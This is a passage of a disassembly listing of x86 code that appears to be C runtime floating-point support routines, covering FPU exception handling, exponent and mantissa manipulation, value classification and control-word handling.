		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_422CF1
		push	8
		call	sub_423360
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_422BD0
		cmp	[ebp+var_20], 800h
		jz	short loc_422C25
		cmp	[ebp+var_20], 0
		jz	short loc_422BE2
		cmp	[ebp+var_20], 400h
		jz	loc_422C65
		jmp	loc_422CE3
; ---------------------------------------------------------------------------


loc_422BD0:				; CODE XREF: sub_422B10+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_422CA5
		jmp	loc_422CE3
; ---------------------------------------------------------------------------


loc_422BE2:				; CODE XREF: sub_422B10+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_422C07
		mov	edx, dword ptr dbl_444208
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr dbl_444208+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_422C12
; ---------------------------------------------------------------------------


loc_422C07:				; CODE XREF: sub_422B10+E2j
		fld	dbl_444208
		fchs
		fstp	[ebp+var_28]


loc_422C12:				; CODE XREF: sub_422B10+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_422CE3
; ---------------------------------------------------------------------------


loc_422C25:				; CODE XREF: sub_422B10+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_422C4A
		mov	edx, dword ptr dbl_444208
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr dbl_444208+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_422C55
; ---------------------------------------------------------------------------


loc_422C4A:				; CODE XREF: sub_422B10+125j
		fld	dbl_444218
		fchs
		fstp	[ebp+var_30]


loc_422C55:				; CODE XREF: sub_422B10+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_422CE3
; ---------------------------------------------------------------------------


loc_422C65:				; CODE XREF: sub_422B10+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_422C8A
		mov	edx, dword ptr dbl_444218
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr dbl_444218+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_422C95
; ---------------------------------------------------------------------------


loc_422C8A:				; CODE XREF: sub_422B10+165j
		fld	dbl_444208
		fchs
		fstp	[ebp+var_38]


loc_422C95:				; CODE XREF: sub_422B10+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_422CE3
; ---------------------------------------------------------------------------


loc_422CA5:				; CODE XREF: sub_422B10+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_422CCA
		mov	edx, dword ptr dbl_444218
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr dbl_444218+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_422CD5
; ---------------------------------------------------------------------------


loc_422CCA:				; CODE XREF: sub_422B10+1A5j
		fld	dbl_444218
		fchs
		fstp	[ebp+var_40]


loc_422CD5:				; CODE XREF: sub_422B10+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax


loc_422CE3:				; CODE XREF: sub_422B10+BBj
					; sub_422B10+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_422E4E
; ---------------------------------------------------------------------------


loc_422CF1:				; CODE XREF: sub_422B10+6Dj
					; sub_422B10+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_422E4E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_422E4E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_422D25
		mov	[ebp+var_8], 1


loc_422D25:				; CODE XREF: sub_422B10+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 40h
		jnz	loc_422E2E
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_4231A0
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_422D81
		fld	[ebp+var_10]
		fmul	dbl_434140
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_422E1E
; ---------------------------------------------------------------------------


loc_422D81:				; CODE XREF: sub_422B10+257j
		fld	[ebp+var_10]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 1
		jz	short loc_422D9A
		mov	[ebp+var_44], 1
		jmp	short loc_422DA1
; ---------------------------------------------------------------------------


loc_422D9A:				; CODE XREF: sub_422B10+27Fj
		mov	[ebp+var_44], 0


loc_422DA1:				; CODE XREF: sub_422B10+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_422DC9
; ---------------------------------------------------------------------------


loc_422DC0:				; CODE XREF: sub_422B10+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_422DC9:				; CODE XREF: sub_422B10+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_422E10
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_422DE9
		cmp	[ebp+var_8], 0
		jnz	short loc_422DE9
		mov	[ebp+var_8], 1


loc_422DE9:				; CODE XREF: sub_422B10+2CAj
					; sub_422B10+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_422E06
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax


loc_422E06:				; CODE XREF: sub_422B10+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_422DC0
; ---------------------------------------------------------------------------


loc_422E10:				; CODE XREF: sub_422B10+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_422E1E
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_422E1E:				; CODE XREF: sub_422B10+26Cj
					; sub_422B10+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_422E35
; ---------------------------------------------------------------------------


loc_422E2E:				; CODE XREF: sub_422B10+225j
		mov	[ebp+var_8], 1


loc_422E35:				; CODE XREF: sub_422B10+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_422E45
		push	10h
		call	sub_423360
		add	esp, 4


loc_422E45:				; CODE XREF: sub_422B10+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx


loc_422E4E:				; CODE XREF: sub_422B10+35j
					; sub_422B10+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_422E75
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_422E75
		push	20h
		call	sub_423360
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx


loc_422E75:				; CODE XREF: sub_422B10+346j
					; sub_422B10+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_422B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_422E90(int,int,int,int,int,int,double,int)

sub_422E90	proc near		; CODE XREF: sub_4223E0+2Ap
					; ___:0042247Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_422F70
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_422F07
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_423320
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4297F0
		add	esp, 4
		test	eax, eax
		jnz	short loc_422F02
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422F30
		add	esp, 4


loc_422F02:				; CODE XREF: sub_422E90+64j
		fld	[ebp+var_8]
		jmp	short loc_422F27
; ---------------------------------------------------------------------------


loc_422F07:				; CODE XREF: sub_422E90+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_423320
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422F30
		add	esp, 4
		fld	[ebp+arg_18]


loc_422F27:				; CODE XREF: sub_422E90+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_422E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F30	proc near		; CODE XREF: sub_4224B0+92p
					; ___:0042261Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_422F4E
		cmp	[ebp+var_4], 1
		jle	short loc_422F66
		cmp	[ebp+var_4], 3
		jle	short loc_422F5B
		jmp	short loc_422F66
; ---------------------------------------------------------------------------


loc_422F4E:				; CODE XREF: sub_422F30+Ej
		call	sub_420520
		mov	dword ptr [eax], 21h
		jmp	short loc_422F66
; ---------------------------------------------------------------------------


loc_422F5B:				; CODE XREF: sub_422F30+1Aj
		call	sub_420520
		mov	dword ptr [eax], 22h


loc_422F66:				; CODE XREF: sub_422F30+14j
					; sub_422F30+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422F30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F70	proc near		; CODE XREF: sub_422E90+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_422F86
; ---------------------------------------------------------------------------


loc_422F7D:				; CODE XREF: sub_422F70:loc_422FA7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_422F86:				; CODE XREF: sub_422F70+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_422FA9
		mov	ecx, [ebp+var_4]
		mov	edx, dword_444130[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_422FA7
		mov	eax, [ebp+var_4]
		mov	eax, off_444134[eax*8]
		jmp	short loc_422FAB
; ---------------------------------------------------------------------------


loc_422FA7:				; CODE XREF: sub_422F70+29j
		jmp	short loc_422F7D
; ---------------------------------------------------------------------------


loc_422FA9:				; CODE XREF: sub_422F70+1Aj
		xor	eax, eax


loc_422FAB:				; CODE XREF: sub_422F70+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_422F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FB0	proc near		; CODE XREF: sub_4224B0+4Ap
					; ___:004225D2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_422FC7
		mov	[ebp+var_4], 5
		jmp	short loc_42301A
; ---------------------------------------------------------------------------


loc_422FC7:				; CODE XREF: sub_422FB0+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_422FDA
		mov	[ebp+var_4], 1
		jmp	short loc_42301A
; ---------------------------------------------------------------------------


loc_422FDA:				; CODE XREF: sub_422FB0+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_422FED
		mov	[ebp+var_4], 2
		jmp	short loc_42301A
; ---------------------------------------------------------------------------


loc_422FED:				; CODE XREF: sub_422FB0+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_423000
		mov	[ebp+var_4], 3
		jmp	short loc_42301A
; ---------------------------------------------------------------------------


loc_423000:				; CODE XREF: sub_422FB0+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_423013
		mov	[ebp+var_4], 4
		jmp	short loc_42301A
; ---------------------------------------------------------------------------


loc_423013:				; CODE XREF: sub_422FB0+58j
		mov	[ebp+var_4], 0


loc_42301A:				; CODE XREF: sub_422FB0+15j
					; sub_422FB0+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_422FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423030	proc near		; CODE XREF: ___:004230C9p
					; sub_4231A0+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_423030	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_423030
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423120	proc near		; CODE XREF: sub_418F70+3Fp
					; sub_419190+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_423139
		cmp	[ebp+arg_0], 0
		jnz	short loc_423139
		mov	eax, 1
		jmp	short loc_42319A
; ---------------------------------------------------------------------------


loc_423139:				; CODE XREF: sub_423120+Aj
					; sub_423120+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42314F
		cmp	[ebp+arg_0], 0
		jnz	short loc_42314F
		mov	eax, 2
		jmp	short loc_42319A
; ---------------------------------------------------------------------------


loc_42314F:				; CODE XREF: sub_423120+20j
					; sub_423120+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_42316A
		mov	eax, 3
		jmp	short loc_42319A
; ---------------------------------------------------------------------------


loc_42316A:				; CODE XREF: sub_423120+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_423198
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_423191
		cmp	[ebp+arg_0], 0
		jz	short loc_423198


loc_423191:				; CODE XREF: sub_423120+69j
		mov	eax, 4
		jmp	short loc_42319A
; ---------------------------------------------------------------------------


loc_423198:				; CODE XREF: sub_423120+5Fj
					; sub_423120+6Fj
		xor	eax, eax


loc_42319A:				; CODE XREF: sub_423120+17j
					; sub_423120+2Dj ...
		pop	ebp
		retn
sub_423120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4231A0(double,int)

sub_4231A0	proc near		; CODE XREF: sub_422B10+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 40h
		jz	short loc_4231D0
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_4232CA
; ---------------------------------------------------------------------------


loc_4231D0:				; CODE XREF: sub_4231A0+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_423299
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_4231F9
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_423299


loc_4231F9:				; CODE XREF: sub_4231A0+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	dbl_434140
		fnstsw	ax
		test	ah, 1
		jz	short loc_423219
		mov	[ebp+var_14], 1
		jmp	short loc_423220
; ---------------------------------------------------------------------------


loc_423219:				; CODE XREF: sub_4231A0+6Ej
		mov	[ebp+var_14], 0


loc_423220:				; CODE XREF: sub_4231A0+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx


loc_423226:				; CODE XREF: sub_4231A0+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_423265
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_423252
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax


loc_423252:				; CODE XREF: sub_4231A0+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_423226
; ---------------------------------------------------------------------------


loc_423265:				; CODE XREF: sub_4231A0+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_423282
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx


loc_423282:				; CODE XREF: sub_4231A0+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_423030
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_4232CA
; ---------------------------------------------------------------------------


loc_423299:				; CODE XREF: sub_4231A0+3Fj
					; sub_4231A0+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_423030
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx


loc_4232CA:				; CODE XREF: sub_4231A0+2Bj
					; sub_4231A0+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4231A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232E0	proc near		; CODE XREF: sub_422640+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4232E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423300	proc near		; CODE XREF: sub_422640+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423320	proc near		; CODE XREF: sub_418F70+11p
					; sub_418F70+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423360	proc near		; CODE XREF: sub_422B10+25p
					; sub_422B10+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42337D
		fld	tbyte_444230
		fistp	[ebp+var_C]
		wait


loc_42337D:				; CODE XREF: sub_423360+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_423397
		fstsw	ax
		fld	tbyte_444230
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_423397:				; CODE XREF: sub_423360+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_4233AB
		fld	tbyte_44423C
		fstp	[ebp+var_8]
		wait


loc_4233AB:				; CODE XREF: sub_423360+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_4233BE
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4233BE:				; CODE XREF: sub_423360+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_4233CE
		fldpi
		fstp	[ebp+var_8]
		wait


loc_4233CE:				; CODE XREF: sub_423360+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233E0	proc near		; CODE XREF: sub_4190B0+15p
					; ___:004298C5p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_429890
		add	esp, 8
		pop	ebp
		retn
sub_4233E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423400	proc near		; CODE XREF: sub_423460:loc_423499p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	dbl_433CA0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42344D
		mov	[ebp+var_1C], 1
		jmp	short loc_423454
; ---------------------------------------------------------------------------


loc_42344D:				; CODE XREF: sub_423400+42j
		mov	[ebp+var_1C], 0


loc_423454:				; CODE XREF: sub_423400+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423460	proc near		; CODE XREF: sub_4190B0+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0797h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_423499
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		nop
		call	near ptr 26A0000h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_423499
		push	0
		call	[ebp+var_8]
		jmp	short loc_42349E
; ---------------------------------------------------------------------------


loc_423499:				; CODE XREF: sub_423460+18j
					; sub_423460+30j
		call	sub_423400


loc_42349E:				; CODE XREF: sub_423460+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_423460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B0	proc near		; CODE XREF: sub_41E9B0+6CFp
					; DATA XREF: sub_4190F0+21o ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_41A630
		add	esp, 4
